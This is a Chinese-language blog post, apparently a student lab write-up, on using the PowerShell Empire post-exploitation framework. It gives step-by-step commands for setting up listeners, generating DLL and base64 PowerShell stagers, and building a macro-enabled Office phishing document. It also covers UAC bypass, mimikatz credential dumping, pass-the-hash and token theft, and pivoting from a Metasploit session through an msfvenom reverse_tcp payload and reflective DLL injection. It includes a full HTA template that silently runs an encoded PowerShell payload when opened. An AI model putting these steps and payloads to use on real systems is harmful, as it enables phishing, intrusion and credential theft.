一、介绍

  • Empire是一款针对Windows平台的、使用PowerShell脚本作为攻击载荷的渗透攻击框架工具,具有从stager生成、提权到渗透维持的一系列功能。Empire实现了无需powershell.exe就可运行 PowerShell代理的功能,还可以快速在后期部署漏洞利用模块,其内置模块有键盘记录、Mimikatz、绕过UAC、内网扫描等,并且能够躲避网络检测和大部分安全防护工具的查杀,简单来说有点类似于 Metasploit,是一个基于 PowerShell的远程控制木马。

二、安装

  • Empire运行在Linux平台下,安装命令如下:

    git clone https://github.com/EmpireProject/Empire.git
    //这样容易失败,建议直接去链接处下载压缩包解压进行后续使用
    cd /Empire/setup/
    ./install.sh
  • 运行:./empire



    可以看到它包含三个部分:

    • 一个是modules即自身的一些模块
    • 一个是listernes即监听,类似msfexploit/multi/handler模块
    • 一个是agents即已经链接上的会话,类似msf所存的session
  • 输入help查看使用帮助

三、基本使用

  • 设置监听

    • listeners进入监听线程界面
    • uselistener后按一个空格在敲两下TAB键列出可供使用的监听器,这里我们选择http

    • 查看要设置的参数:info



      我们看到HostPort(即监听使用的ip和端口)已经是我们攻击方的IP和端口了,只需要修改Name即可
    • 设置参数:set Name test
    • 开始监听:execute

    • 设置完成后可使用back-list查看设置好的监听器
  • 生成木马
    • 这里可以理解为Metasploit里的Payload,Empire中有多个模块化的stager
    • usestager后按一个空格在敲两下TAB键设置采用的模块(可以看到支持linux、Windows、osx)

    • 选择usestager windows/dlldll木马
    • info查看参数设置

    • 设置Name参数:set Name test(注意这里的名字要和监听器的名字一样!)
    • execute执行后会看到在tmp目录下生成了一个launcher.dll文件,该文件在目标主机上可以通过webshell运行,运行后empire这边就会成功上线。
    • 或者可以back后输入launcher <language> <listenerName>生成一行base64编码代码(即生成一个Payload),将生成的这段代码在装有powershell的目标机上执行,就会得到这个主机的权限。

四、渗透实践

1、利用PowerShell Empire生成网络钓鱼文件

  • 使用Empire的macro载荷

    • 按之前步骤设置好监听

    • 使用macro载荷

  • 上图中我们生成了一个宏,并且保存在tmp目录中名称为macro,打开我们可以发现该载荷使用PowerShell的编码命令进行了转换,就像我们用launcher powershell tc生成payload,再进行VBA代码的转换。

  • 将上面的宏添加到一个Office文档中
    • 新建一个Word文件或Excel文件
    • 选择视图-,点击创建后,在VB编辑界面将里面已有的代码删除,然后,将刚才用Empire生成的宏复制粘贴进去。

    • 点击保存时会跳出一个对话框,选择,接着我们保存为97-2003格式即可。
  • 现在将生成好的钓鱼文件在靶机上运行(钓鱼文件嘛里面要添加一些正常吸引人的内容),此时会有提示未启用宏,点击启用宏内容后,ok上线成功!

  • 下面我们就可以进行一些操作了!!
    • 修改下靶机的名称(方便使用):rename 43SY8BVU tc
    • 与靶机进行交互:interact tc
    • 截屏:sc

    • 查看系统信息:sysinfo

    • 尝试提权:bypassuac test,等几秒钟,就会返回一个更高权限的shell,再次输入agents,发现当前靶机主机名前带有一个*,表示提权成功!

    • 使用内置的mimikatz模块:mimikatz神器mimikatz介绍)这里主要是抓取靶机的用户名和密码

2、MSF与Empire联动

  • 我们在之前的实验里都是用MSF进行渗透获取session,而这个session一般是没有高权限的,这是我们可以利用Empire进行后续更高权限操作。
  • 先使用msfvenom简单编码生成一个木马:msfvenom -p windows/x64/meterpreter/reverse_tcp_rc4 LHOST=192.168.88.130 LPORT=5330 -a x64 -f exe -o test.exe
  • MSF中开启监听并在靶机上运行获取session

  • 接下将这个session关联至Empire
    • 创建一个监听器,设置监听器名字、监听主机和监听端口(注意和MSF的相同)
    • 使用dll诸如进程来关联Empire:我们选用usestager windows/dll模块

  • 选取一个进程号实现注入:MSF的session下使用ps查看进程

  • 注入dll文件
    • background后台运行会话
    • use post/windows/manage/reflective_dll_inject
    • 设置参数后run

  • 看到注入完毕,Empire这边就有了上线反应(因为电脑出问题重做了一遍,靶机地址有变)

  • 下面我们先提权:bypassuac test(监听名称)

  • 现在我们使用Empire自带的module进行令牌窃取
    • 使用内置mimikatz获取系统密码,执行完毕后输入creds命令查看Empire列举的密码

    • 窃取身份:pth CredID号

    • 窃取身份令牌:steal_token PID号

    • 通过ps我们可以找到该进程

3、永生之火后门渗透

  • Empire按之前步骤开启监听后,launcher powershell test生成一段powershell代码

  • 随任意格式的图片在在线base64转换将其转成base64格式

  • 上面代码插入以下代码块中
    <html>
    <head>
    <title>weibo@flagellantX</title>
    </head>
    <script type = "text/javascript"> var index= -1;
    var images = ["base64代码段"]; function initGallery () {
    window.resizeTo (300,300);
    htaPayload ();
    nextPicture ();
    }; function nextPicture () {
    var img;
    index = index + 1;
    if (index > images.length -1) {
    index = 0;
    }
    img = document.getElementById ("gallery");
    img.src = images [index];
    }; function htaPayload () {
    var payload="PowerShell代码段";
    try{
    if(navigator.userAgent.indexOf("Windows") !== -1){
    new ActiveXObject("WScript.Shell").Run("CMD /C START /B " + payload, false);
    }
    }
    catch(e){
    }
    }; </script> <style> #gallery, div {
    width: 100%;
    height: 100%;
    } #outer {
    text-align: center;
    } #inner{
    display: inline-block;
    } body {
    background-color: black;
    } </style> <body onload = "initGallery ()">
    <div id = "outer">
    <div id = "inner">
    <img id = "gallery" onclick = "nextPicture ()">
    </div>
    </div>
    </body>
    </html>
  • 将完整的代码,用Script Encoder程序打开,选用HTML/ASP+Scripts,点击Convert。在右边框,形成脚本代码。

  • 之后我们打包出一个.hta的可执行文件,在目标主机上运行,轻松在Empire上线

参考资料

Final——PowerShell Empire的更多相关文章

  1. PowerShell Empire使用笔记

    ##安装过程 git clone https://github.com/EmpireProject/Empire.git cd Empire cd setup sudo ./install.sh ## ...

  2. 2018-2019-2 20165330《网络对抗技术》Exp10 Final 基于PowerShell的渗透实践

    目录 实验内容 实验步骤 实验中遇到的问题 实验总结与体会 实验内容 PoweShell简介 PowerShell入门学习 PowerShell渗透工具介绍 相关渗透实践分析 ms15-034之Pow ...

  3. Empire – PowerShell 后渗透攻击框架

    0x01 简介 Empire是一个后开发框架.它是一个纯粹的PowerShell代理,具有加密安全通信和灵活架构的附加功能.Empire具有在不需要PowerShell.exe的情况下执行PowerS ...

  4. 黑客讲述渗透Hacking Team全过程(详细解说)

    近期,黑客Phineas Fisher在pastebin.com上讲述了入侵Hacking Team的过程,以下为其讲述的原文情况,文中附带有相关文档.工具及网站的链接,请在安全环境下进行打开,并合理 ...

  5. 使用mshta.exe绕过应用程序白名单(多种方法)

      0x00 简介 很长一段时间以来,HTA文件一直被web攻击或在野恶意软件下载程序用作恶意程序的一部分.HTA文件在网络安全领域内广为人知,从红队和蓝队的角度来看,它是绕过应用程序白名单有价值的“ ...

  6. 使用msbuild.exe绕过应用程序白名单(多种方法)

      一.MSbuild.exe简介 Microsoft Build Engine是一个用于构建应用程序的平台.此引擎也被称为msbuild,它为项目文件提供一个XML模式,该模式控制构建平台如何处理和 ...

  7. 使用wmic.exe绕过应用程序白名单(多种方法)

      一.Wmic.exe wmic实用程序是一款Microsoft工具,它提供一个wmi命令行界面,用于本地和远程计算机的各种管理功能,以及wmic查询,例如系统设置.停止进程和本地或远程运行脚本.因 ...

  8. 使用regsrv32.exe绕过应用程序白名单(多种方法)

    0x00 regsvr简介 regsvr32表示Microsoft注册服务.它是Windows的命令行实用工具.虽然regsvr32有时会导致问题出现,但它是Windows系统文件中的一个重要文件.该 ...

  9. 使用rundll32.exe绕过应用程序白名单(多种方法)

    0x00 前言 本文演示了白名单AppLocker bypass的最常见和最熟悉的技术.我们知道,出于安全原因,系统管理员添加组策略来限制本地用户的应用程序执行.在上一篇文章中,我们讨论了“ Wind ...

随机推荐

  1. git diff 的简单使用(比较版本区别)

    假如我们修改viewMail.vue 文件(部分代码) 从 //根据ID获取详情 getById () { let that = this; this.viewMailModal = true; th ...

  2. 某康x电视去广告

    开启adb 信源选择进入模拟电视 然后按菜单键输入2008 找到其他选项,进去把adb root打开 删除对应广告视频(短暂方法) 可以下载tvbox,利用文件管理功能 进入/data/misc/ko ...

  3. Windows 软件使用

    1.CMD 1. 查看端口对应进程 netstat -ano|findstr "443" 2.通过PID 查找对应进程 tasklist|findstr “<PID号> ...

  4. mybatis整合spring下的的各种配置文件

    1.applicationContext.xml <?xml version="1.0" encoding="UTF-8"?> <beans ...

  5. MySQL时间类型及获取、展示处理

    MySQL时间格式 mysql所支持的日期时间类型有:DATETIME. TIMESTAMP.DATE.TIME.YEAR. 几种类型比较如下: 日期时间类型 占用空间 日期格式 最小值 最大值 零值 ...

  6. CI/CD持续集成小结

    一.概念 什么是devops,基于Gitlab从零开始搭建自己的持续集成流水线(Pipeline) https://blog.csdn.net/chengzi_comm/article/details ...

  7. Flutter——Row组件(水平布局组件)

    Row组件的常用属性 属性 说明 mainAxisAlignment 主轴的排序方式 crossAxisAlignment 次轴的排序方式 children 组件子元素 import 'package ...

  8. 轻量化模型之SqueezeNet

    自 2012 年 AlexNet 以来,卷积神经网络在图像分类.目标检测.语义分割等领域获得广泛应用.随着性能要求越来越高,AlexNet 已经无法满足大家的需求,于是乎各路大牛纷纷提出性能更优越的 ...

  9. TLV320AIC3268寄存器读写

    该芯片支持I2C和SPI读写寄存器,本人用的是SPI1接口. 以下是对手册中SPI接口读写寄存器相关内容的翻译(英文版可以看手册的94页~) 在SPI控制模式下,TLV320AIC3268使用SCL_ ...

  10. Django模型层:单表操作,多表操作,常用(非常用)字段和参数,Django-model进阶

    一.web应用 二.模板的导入与继承 三.静态文件相关 四.inclusion_tag:返回html片段 五.模型层 一.web应用 -s包括两个部分:web服务器+application -目前阶段 ...